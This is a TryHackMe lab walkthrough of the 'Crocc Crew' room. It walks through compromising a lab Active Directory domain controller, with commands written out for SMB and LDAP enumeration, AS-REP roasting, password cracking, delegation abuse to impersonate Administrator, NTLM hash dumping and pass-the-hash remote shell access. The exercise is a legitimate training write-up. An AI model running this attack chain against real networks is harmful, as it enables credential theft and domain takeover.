Crocc Crew: TryHackMe Walkthrough.
Hello friendo, welcome to my walkthrough room on TryHackMe. This room is about creating a backdoor on a Cooctus Corp Domain Controller.
You just gained initial access into a segmented part of the network and you’ve found only one device — A domain controller. It appears that it’s already been hacked… Can you find out who did it?
Great lets begin
first thing lets Recon with nmap
nmap -A IP 
We got a lot of important ports
- DNS on 53.
- HTTP on 80.
- Directory Services present (LDAP/AD) .
- RDP on 3389
- Time data and SSL cert details indicate an AD domain controller at COOC TUS.CORP with certificate subject DC.COOC TUS.CORP.
Lets explore http , we got this page
Let’s start by performing a directory enumeration using dirsearch to discover hidden or interesting endpoints on the target.
└─$ dirsearch -u http://IP 
The directory enumeration revealed a .robots.txt file, which is always worth checking as it may disclose hidden or sensitive paths.
Upon inspecting the robots.txt file, I found two interesting entries: db-config.bak and backdoor.php.
lets explore the db-config.bak
and also explore the backdoor.php
When accessing backdoor.php, it opened what appeared to be a web-based command interface. I proceeded to test it by executing a few basic commands to verify if command execution was possible.
However, it didn’t work as expected.
Exploitation
I turned my attention to the RDP service on port 3389 to see if it could be leveraged for access
RDP services is Remote Desktop Protocol
Since the RDP service (port 3389) is open, it could potentially be accessed using tools like xfreerdp or rdesktop, provided that valid credentials are obtained.
└─$ rdesktop IP 
it opens
Given that the credentials (Visitor : GuestLogin!) are available, I proceeded to leverage smbclient to enumerate SMB shares on the target.
This tool enables listing shared drives, identifying access permissions, browsing directories, and potentially downloading sensitive files if misconfigurations are present.
Exploitation SMB — Port 445
└─$ smbclient -L \\IP -U Visitor-L It is used to display (List) all SMB shares on the target device.
-U It specifies the username that you will use to authenticate on the SMB service.
Several administrative and file shares were exposed, including ADMIN$, IPC$, NETLOGON, and SYSVOL, which could potentially serve as attack surfaces.The next step was credential validation — to determine whether the provided credentials grant access to any non-administrative shares.I first checked the NETLOGON share; however, it did not contain any useful or interesting files.
smbclient \\\\IP\\NETLOGON -U db.cooctus.corp\\Visitor --password GuestLogin!NETLOGON the share i wanna to access.
Get MarioThomas’s stories in your inbox
Join Medium for free to get updates from this writer.
db.cooctus.corp name of the domain.
Lets access the home share
With the first flag secured, it was time to move forward and continue digging deeper into the system
To further validate the discovered credentials and gather additional information, I used CrackMapExec against the SMB service on the target machine.
crackmapexec smb IP -u Visitor -p 'GuestLogin!' --shares
LDAP Exploitation
LDAP (Lightweight Directory Access Protocol)A protocol used to query information from a Directory Service .
nmap scan revealed that LDAP is running on ports 389 and 3268, which strongly suggests that the target is part of an Active Directory environment.
ldapsearch -x -H ldap://IP -s base -b "" namingContextsldapsearch by default attempts to use SASL authentication
-s Use simple authentication instead of SASL
-H Connect to the LDAP service on this IP address using the LDAP protocol
-s base Defines the scope of the search.
Types of scope:
base : It searches only the base object.
One :level is searching below the base.
sub :Searching the entire tree (Subtree)
to perform a more comprehensive enumeration of the Active Directory environment, I used ldapdomaindump to extract users, groups, and domain structure information
ldapdomaindump -u 'COOCTUS.CORP\Visitor' -p 'GuestLogin!' IP
Let’s head back to the web interface and review the domain_users.html file to analyze the enumerated domain accounts.
and now we can use enum4linux
enum4linux -u Visitor -p 'GuestLogin!' IP 
Kerberos Ticket Extraction
After this, I used Impacket-GetNPUsers to extract the Kerberos ticket.
Impacket-GetNPUsers cooctus.corp/Visitor:GustLogin! -dc-ip IP -request 
lets put this hash in the file and crack it with john or hashcat
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
I identified that the password-reset account has constrained delegation rights to multiple services, which could potentially be leveraged for lateral movement or privilege escalation.
I used Impacket’s findDelegation.py module to identify delegation configurations within the domain.
This tool enumerates accounts configured with unconstrained or constrained delegation and reveals the associated Service Principal Names (SPNs). Such delegation relationships are valuable because compromising a delegated account may allow impersonation of other users and access to additional services.
impacket-findDelegation COOCTUS.CORP/password-reset:resetpassword -dc-ip IP
Resource-Based Constrained Delegation (RBCD) Abuse: impacket-getST was used to perform resource-based constrained delegation and impersonate the administrator user to gain code execution on the DC.
impacket-getST -spn oakley/DC.COOCTUS.CORP/ -impersonate Administrator 'COOCTUS.CORP/password-reset':resetpassword -dc-ip IP 
export KRB5CCNAME=Administrator@oakley_DC.COOCTUS.CORP@COOCTUS.CORP.ccache⚠️⚠️⚠️ i searched a lot for this and i got this and i well searched more
Setting an environment variable named KRB5CCNAME tells it to use this Kerberos file ticket as the credential cache.
Dumping Hashes: impacket-secretsdump was used to dump the NTLM hashes from the domain controller.
impacket-secretsdump -k -no-pass DC.COOCTUS.CORPThe issue turned out to be a simple DNS resolution problem. I had not added the domain controller (
DC.COOCTUS.CORP) and the domain (COOCTUS.CORP) to my/etc/hostsfile, which prevented Kerberos from resolving the target properly. make sure to add this stuff
And finally we got the administrator hash
Remote Access:
evil-winrmwas used to gain remote access to the domain controller using the Administrator's NTLM hash.
WE GOT THE SHELL!!!!!!!!!!!!
Let’s go hunt down those flags! 🔥
WE GOT THE USER FLAG 🔥 🔥 🔥 🔥 🔥
🚨🚨🚨first flag is trap
And i searched alot for the last flag for root.txt and i found it in perflogs\admin
AND BOOOM W GOT THE ROOT FLAG !!💥💥💥
